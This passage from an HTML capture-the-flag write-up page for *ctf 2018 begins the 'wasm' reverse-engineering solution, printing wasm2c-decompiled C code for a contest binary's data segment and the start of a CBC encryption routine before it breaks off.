<!DOCTYPE HTML>
<!-- This page is modified from the template https://www.codeply.com/go/7XYosZ7VH5 by Carol Skelly (@iatek). -->
<html>
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <title>*ctf 2018</title>
    <link type="text/css" rel="stylesheet" href="../assets/css/github-markdown.css">
    <link type="text/css" rel="stylesheet" href="../assets/css/pilcrow.css">
    <link type="text/css" rel="stylesheet" href="../assets/css/hljs-github.min.css"/>
    <link type="text/css" rel="stylesheet" href="../assets/css/bootstrap-4.0.0-beta.3.min.css">
    <script type="text/javascript" src="../assets/js/jquery-3.3.1.slim.min.js"></script>
    <script type="text/javascript" src="../assets/js/bootstrap-4.0.0-beta.3.min.js"></script>
    <script type="text/javascript" src="../assets/js/popper-1.14.3.min.js"></script>
    <script type="text/javascript" src="../assets/js/mathjax-2.7.4/MathJax.js?config=TeX-MML-AM_CHTML"></script>
  </head>
  <style>
  body {
      padding-top: 56px;
  }

  .sticky-offset {
      top: 56px;
  }

  #body-row {
      margin-left:0;
      margin-right:0;
  }
  #sidebar-container {
      min-height: 100vh;   
      background-color: #333;
      padding: 0;
  }

  /* Sidebar sizes when expanded and expanded */
  .sidebar-expanded {
      width: 230px;
  }
  .sidebar-collapsed {
      width: 60px;
  }

  /* Menu item*/
  #sidebar-container .list-group a {
      height: 50px;
      color: white;
  }

  /* Submenu item*/
  #sidebar-container .list-group .sidebar-submenu a {
      height: 45px;
      padding-left: 60px;
  }
  .sidebar-submenu {
      font-size: 0.9rem;
  }

  /* Separators */
  .sidebar-separator-title {
      background-color: #333;
      height: 35px;
  }
  .sidebar-separator {
      background-color: #333;
      height: 25px;
  }
  .logo-separator {
      background-color: #333;    
      height: 60px;
  }


  /* 
   active scrollspy
  */
  .list-group-item.active {
    border-color: transparent;
    border-left: #e69138 solid 4px;
  }

  /* 
   anchor padding top
   https://stackoverflow.com/a/28824157
  */
  :target:before {
    content:"";
    display:block;
    height:56px; /* fixed header height*/
    margin:-56px 0 0; /* negative fixed header height */
  }
  </style>
  
  <script>
  // https://stackoverflow.com/a/48330533
  $(window).on('activate.bs.scrollspy', function (event) {
    let active_collapse = $($('.list-group-item.active').parents()[0]);
    $(".collapse").removeClass("show");
    active_collapse.addClass("show");

    let parent_menu = $('a[href="#' + active_collapse[0].id + '"]');
    $('a[href^="#submenu"]').css("border-left", "");
    parent_menu.css("border-left","#e69138 solid 4px");
  });

  // http://docs.mathjax.org/en/latest/tex.html#tex-and-latex-math-delimiters
  MathJax.Hub.Config({
    tex2jax: {
      inlineMath: [['$','$'], ['\\(','\\)']],
      processEscapes: true
    }
  });
  </script>

  <body style="position: relative;" data-spy="scroll" data-target=".sidebar-submenu" data-offset="70">
    <nav class="navbar navbar-expand-md navbar-light bg-light fixed-top">
      <button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarNavDropdown" aria-controls="navbarNavDropdown" aria-expanded="false" aria-label="Toggle navigation">
        <span class="navbar-toggler-icon"></span>
      </button>
      <a class="navbar-brand" href="https://github.com/balsn/ctf_writeup">
        <img src="https://github.githubassets.com/images/modules/logos_page/GitHub-Mark.png" class="d-inline-block align-top" alt="" width="30" height="30">
        <span class="menu-collapsed">balsn / ctf_writeup</span>
      </a>
      <div class="collapse navbar-collapse" id="navbarNavDropdown">
        <ul class="navbar-nav my-2 my-lg-0">
            
            <li class="nav-item dropdown d-sm-block d-md-none">
              <iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=watch&count=true&size=large&v=2" frameborder="0" scrolling="0" width="140px" height="30px"></iframe>
              <iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=star&count=true&size=large" frameborder="0" scrolling="0" width="140px" height="30px"></iframe>
        
              <a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
                rev
              </a>
              <div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
                                <a class="dropdown-item" href="#wasm-(sces60107)">wasm-(sces60107)</a>
    
                <a class="dropdown-item" href="#milktea-(sasdf)">milktea-(sasdf)</a>
    
              </div>
            </li>
    
            <li class="nav-item dropdown d-sm-block d-md-none">
              <a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
                pwn
              </a>
              <div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
                                <a class="dropdown-item" href="#babystack-(sces60107)">babystack-(sces60107)</a>
    
                <a class="dropdown-item" href="#note-(sces60107)">note-(sces60107)</a>
    
                <a class="dropdown-item" href="#young_heap-(4w4rd-sces60107)">young_heap-(4w4rd-sces60107)</a>
    
              </div>
            </li>
    
            <li class="nav-item dropdown d-sm-block d-md-none">
              <a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
                web
              </a>
              <div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
                                <a class="dropdown-item" href="#simpleweb-(how2hack)">simpleweb-(how2hack)</a>
    
              </div>
            </li>
    
            <li class="nav-item dropdown d-sm-block d-md-none">
              <a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
                misc
              </a>
              <div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
                                <a class="dropdown-item" href="#welcome-(bookgin)">welcome-(bookgin)</a>
    
                <a class="dropdown-item" href="#warmup-(sces60107)">warmup-(sces60107)</a>
    
              </div>
            </li>
    
            <li class="nav-item dropdown d-sm-block d-md-none">
              <a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
                ppc
              </a>
              <div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
                                <a class="dropdown-item" href="#magic_number-(b04902036)">magic_number-(b04902036)</a>
    
                <a class="dropdown-item" href="#chess-master-(bookgin)">chess-master-(bookgin)</a>
    
              </div>
            </li>
    
            <li class="nav-item dropdown d-sm-block d-md-none">
              <a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
                crypto
              </a>
              <div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
                                <a class="dropdown-item" href="#primitive-(sasdf)">primitive-(sasdf)</a>
    
                <a class="dropdown-item" href="#ssss-(sasdf)">ssss-(sasdf)</a>
    
                <a class="dropdown-item" href="#ssss2-(sasdf)">ssss2-(sasdf)</a>
    
              </div>
            </li>
    
        </ul>
      </div>
      <div class="navbar-collapse collapse w-100 order-3 dual-collapse2">
        <ul class="navbar-nav ml-auto">
          <iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=watch&count=true&size=large&v=2" frameborder="0" scrolling="0" width="160px" height="30px"></iframe>
          <iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=star&count=true&size=large" frameborder="0" scrolling="0" width="160px" height="30px"></iframe>
        </ul>
      </div>
    </nav>
    <div class="row" id="body-row">
      <div id="sidebar-container" class="sidebar-expanded d-none d-md-block col-2">
        <ul class="list-group sticky-top sticky-offset">
          
          <a href="#submenu0" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
            <div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
              <span class="fa fa-dashboard fa-fw mr-3"></span>
              <span class="menu-collapsed">rev</span>
              <span class="submenu-icon ml-auto"></span>
            </div>
          </a>
          <div id="submenu0" class="collapse sidebar-submenu">
            <a href="#wasm-(sces60107)" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">wasm-(sces60107)</span>
            </a>
    
<a href="#milktea-(sasdf)" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">milktea-(sasdf)</span>
            </a>
    
          </div>
    
          <a href="#submenu1" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
            <div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
              <span class="fa fa-dashboard fa-fw mr-3"></span>
              <span class="menu-collapsed">pwn</span>
              <span class="submenu-icon ml-auto"></span>
            </div>
          </a>
          <div id="submenu1" class="collapse sidebar-submenu">
            <a href="#babystack-(sces60107)" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">babystack-(sces60107)</span>
            </a>
    
<a href="#note-(sces60107)" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">note-(sces60107)</span>
            </a>
    
<a href="#young_heap-(4w4rd-sces60107)" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">young_heap-(4w4rd-sces60107)</span>
            </a>
    
          </div>
    
          <a href="#submenu2" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
            <div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
              <span class="fa fa-dashboard fa-fw mr-3"></span>
              <span class="menu-collapsed">web</span>
              <span class="submenu-icon ml-auto"></span>
            </div>
          </a>
          <div id="submenu2" class="collapse sidebar-submenu">
            <a href="#simpleweb-(how2hack)" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">simpleweb-(how2hack)</span>
            </a>
    
          </div>
    
          <a href="#submenu3" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
            <div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
              <span class="fa fa-dashboard fa-fw mr-3"></span>
              <span class="menu-collapsed">misc</span>
              <span class="submenu-icon ml-auto"></span>
            </div>
          </a>
          <div id="submenu3" class="collapse sidebar-submenu">
            <a href="#welcome-(bookgin)" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">welcome-(bookgin)</span>
            </a>
    
<a href="#warmup-(sces60107)" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">warmup-(sces60107)</span>
            </a>
    
          </div>
    
          <a href="#submenu4" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
            <div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
              <span class="fa fa-dashboard fa-fw mr-3"></span>
              <span class="menu-collapsed">ppc</span>
              <span class="submenu-icon ml-auto"></span>
            </div>
          </a>
          <div id="submenu4" class="collapse sidebar-submenu">
            <a href="#magic_number-(b04902036)" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">magic_number-(b04902036)</span>
            </a>
    
<a href="#chess-master-(bookgin)" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">chess-master-(bookgin)</span>
            </a>
    
          </div>
    
          <a href="#submenu5" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
            <div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
              <span class="fa fa-dashboard fa-fw mr-3"></span>
              <span class="menu-collapsed">crypto</span>
              <span class="submenu-icon ml-auto"></span>
            </div>
          </a>
          <div id="submenu5" class="collapse sidebar-submenu">
            <a href="#primitive-(sasdf)" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">primitive-(sasdf)</span>
            </a>
    
<a href="#ssss-(sasdf)" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">ssss-(sasdf)</span>
            </a>
    
<a href="#ssss2-(sasdf)" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">ssss2-(sasdf)</span>
            </a>
    
          </div>
    
        </ul>
      </div>
      <div class="col-10 py-3">
        <article class="markdown-body"><h1 id="*ctf-2018"><a class="header-link" href="#*ctf-2018"></a>*ctf 2018</h1>

<p>The official repository is <a href="https://github.com/sixstars/starctf2018">here</a></p>
<h2 id="rev"><a class="header-link" href="#rev"></a>rev</h2>
<h3 id="wasm-(sces60107)"><a class="header-link" href="#wasm-(sces60107)"></a>wasm (sces60107)</h3>
<p>I leverage <a href="https://github.com/WebAssembly/wabt">wasm2c</a> to decomplie this wasm</p>
<p>Then I found some interesting function and data</p>
<pre class="hljs"><code>static const u<span class="hljs-number">8</span> data_segment_data_<span class="hljs-number">0</span>[] = {
  <span class="hljs-number">0x99</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x77</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, 
  <span class="hljs-number">0xbd</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x2f</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x6c</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, 
  <span class="hljs-number">0x87</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x35</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x55</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, 
  <span class="hljs-number">0x22</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x79</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x1d</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, 
  <span class="hljs-number">0xf6</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x48</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x2c</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, 
  <span class="hljs-number">0x8c</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0xb9</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0xd6</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, 
  <span class="hljs-number">0x13</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x93</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0xcb</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, 
  <span class="hljs-number">0xd8</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x31</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0xe3</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, 
  <span class="hljs-number">0x77</span>, <span class="hljs-number">0x65</span>, <span class="hljs-number">0x62</span>, <span class="hljs-number">0x61</span>, <span class="hljs-number">0x73</span>, <span class="hljs-number">0x6d</span>, <span class="hljs-number">0x69</span>, <span class="hljs-number">0x6e</span>, <span class="hljs-number">0x74</span>, <span class="hljs-number">0x65</span>, <span class="hljs-number">0x72</span>, <span class="hljs-number">0x73</span>, 
  <span class="hljs-number">0x74</span>, <span class="hljs-number">0x69</span>, <span class="hljs-number">0x6e</span>, <span class="hljs-number">0x67</span>, 
}<span class="hljs-comment">;
</span>
static void init_memory(void) {
  memcpy(&amp;((*Z_envZ_memory).data[(*Z_envZ_memoryBaseZ_i)]), data_segment_data_<span class="hljs-number">0</span>, <span class="hljs-number">112</span>)<span class="hljs-comment">;
</span>}
static void init_table(void) {
  uint<span class="hljs-number">32</span>_t offset<span class="hljs-comment">;
</span>  offset = (*Z_envZ_tableBaseZ_i)<span class="hljs-comment">;
</span>  (*Z_envZ_table).data[offset + <span class="hljs-number">0</span>] = (wasm_rt_elem_t){func_types[<span class="hljs-number">6</span>], (wasm_rt_anyfunc_t)(&amp;f<span class="hljs-number">15</span>)}<span class="hljs-comment">;
</span>  (*Z_envZ_table).data[offset + <span class="hljs-number">1</span>] = (wasm_rt_elem_t){func_types[<span class="hljs-number">4</span>], (wasm_rt_anyfunc_t)(&amp;_EncryptCBC)}<span class="hljs-comment">;
</span>  (*Z_envZ_table).data[offset + <span class="hljs-number">2</span>] = (wasm_rt_elem_t){func_types[<span class="hljs-number">1</span>], (wasm_rt_anyfunc_t)(&amp;_check)}<span class="hljs-comment">;
</span>  (*Z_envZ_table).data[offset + <span class="hljs-number">3</span>] = (wasm_rt_elem_t){func_types[<span class="hljs-number">6</span>], (wasm_rt_anyfunc_t)(&amp;f<span class="hljs-number">15</span>)}<span class="hljs-comment">;
</span>}
static void _EncryptCBC(u<span class="hljs-number">32</span> p<span class="hljs-number">0</span>, u<span class="hljs-number">32</span> p<span class="hljs-number">1</span>, u<span class="hljs-number">32</span> p<span class="hljs-number">2</span>, u<span class="hljs-number">32</span> p<span class="hljs-number">3</span>) {
  u<span class="hljs-number">32</span> l<span class="hljs-number">0</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">1</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">2</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">3</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">4</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">5</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">6</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">7</span> = <span class="hljs-number">0</span>, 
      l<span class="hljs-number">8</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">9</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">10</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">11</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">12</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">13</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">14</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">15</span> = <span class="hljs-number">0</span>, 
      l<span class="hljs-number">16</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">17</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">18</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">19</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">20</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">21</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">22</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">23</span> = <span class="hljs-number">0</span>, 
      l<span class="hljs-number">24</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">25</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">26</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">27</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">28</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">29</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">30</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">31</span> = <span class="hljs-number">0</span>, 
      l<span class="hljs-number">32</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">33</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">34</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">35</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">36</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">37</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">38</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">39</span> = <span class="hljs-number">0</span>, 
      l<span class="hljs-number">40</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">41</span> = <span class="hljs-number">0</span><span class="hljs-comment">;
</span>  FUNC_PROLOGUE<span class="hljs-comment">;
</span>  u<span class="hljs-number">32</span> <span class="hljs-keyword">i0</span>, <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = g<span class="hljs-number">10</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">41</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = g<span class="hljs-number">10</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = <span class="hljs-number">48</span>u<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>  g<span class="hljs-number">10</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = g<span class="hljs-number">10</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = g<span class="hljs-number">11</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = (u<span class="hljs-number">32</span>)((s<span class="hljs-number">32</span>)<span class="hljs-keyword">i0</span> &gt;= (s<span class="hljs-number">32</span>)<span class="hljs-keyword">i1</span>)<span class="hljs-comment">;
</span>  if (<span class="hljs-keyword">i0</span>) {
    <span class="hljs-keyword">i0</span> = <span class="hljs-number">48</span>u<span class="hljs-comment">;
</span>    (*Z_envZ_abortStackOverflowZ_vi)(<span class="hljs-keyword">i0</span>)<span class="hljs-comment">;
</span>  }
  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">41</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = <span class="hljs-number">16</span>u<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">38</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">41</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">39</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = p<span class="hljs-number">0</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">30</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">; l30=p0
</span>  <span class="hljs-keyword">i0</span> = p<span class="hljs-number">1</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">35</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">; l35=p1
</span>  <span class="hljs-keyword">i0</span> = p<span class="hljs-number">2</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">36</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">; l36=p2
</span>  <span class="hljs-keyword">i0</span> = p<span class="hljs-number">3</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">37</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">; l37=p3
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">37</span><span class="hljs-comment">; 
</span>  l<span class="hljs-number">0</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = f<span class="hljs-number">9</span>(<span class="hljs-keyword">i0</span>)<span class="hljs-comment">;  round key
</span>  l<span class="hljs-number">1</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">39</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = l<span class="hljs-number">1</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i32</span>_store(Z_envZ_memory, (u<span class="hljs-number">64</span>)(<span class="hljs-keyword">i0</span>), <span class="hljs-keyword">i1</span>)<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">37</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">2</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">2</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = <span class="hljs-number">4</span>u<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">3</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">3</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = f<span class="hljs-number">9</span>(<span class="hljs-keyword">i0</span>)<span class="hljs-comment">;
</span>  l<span class="hljs-number">4</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">39</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = <span class="hljs-number">4</span>u<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">5</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">5</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = l<span class="hljs-number">4</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i32</span>_store(Z_envZ_memory, (u<span class="hljs-number">64</span>)(<span class="hljs-keyword">i0</span>), <span class="hljs-keyword">i1</span>)<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">37</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">6</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">6</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = <span class="hljs-number">8</span>u<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">7</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">7</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = f<span class="hljs-number">9</span>(<span class="hljs-keyword">i0</span>)<span class="hljs-comment">;
</span>  l<span class="hljs-number">8</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">39</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = <span class="hljs-number">8</span>u<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">9</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">9</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = l<span class="hljs-number">8</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i32</span>_store(Z_envZ_memory, (u<span class="hljs-number">64</span>)(<span class="hljs-keyword">i0</span>), <span class="hljs-keyword">i1</span>)<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">37</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">10</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">10</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = <span class="hljs-number">12</span>u<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">11</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">11</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = f<span class="hljs-number">9</span>(<span class="hljs-keyword">i0</span>)<span class="hljs-comment">;
</span>  l<span class="hljs-number">12</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">39</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = <span class="hljs-number">12</span>u<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">13</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">13</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = l<span class="hljs-number">12</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i32</span>_store(Z_envZ_memory, (u<span class="hljs-number">64</span>)(<span class="hljs-keyword">i0</span>), <span class="hljs-keyword">i1</span>)<span class="hljs-comment">;
</span>  L<span class="hljs-number">1</span>: 
    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">36</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">14</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">14</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i1</span> = <span class="hljs-number">8</span>u<span class="hljs-comment">;
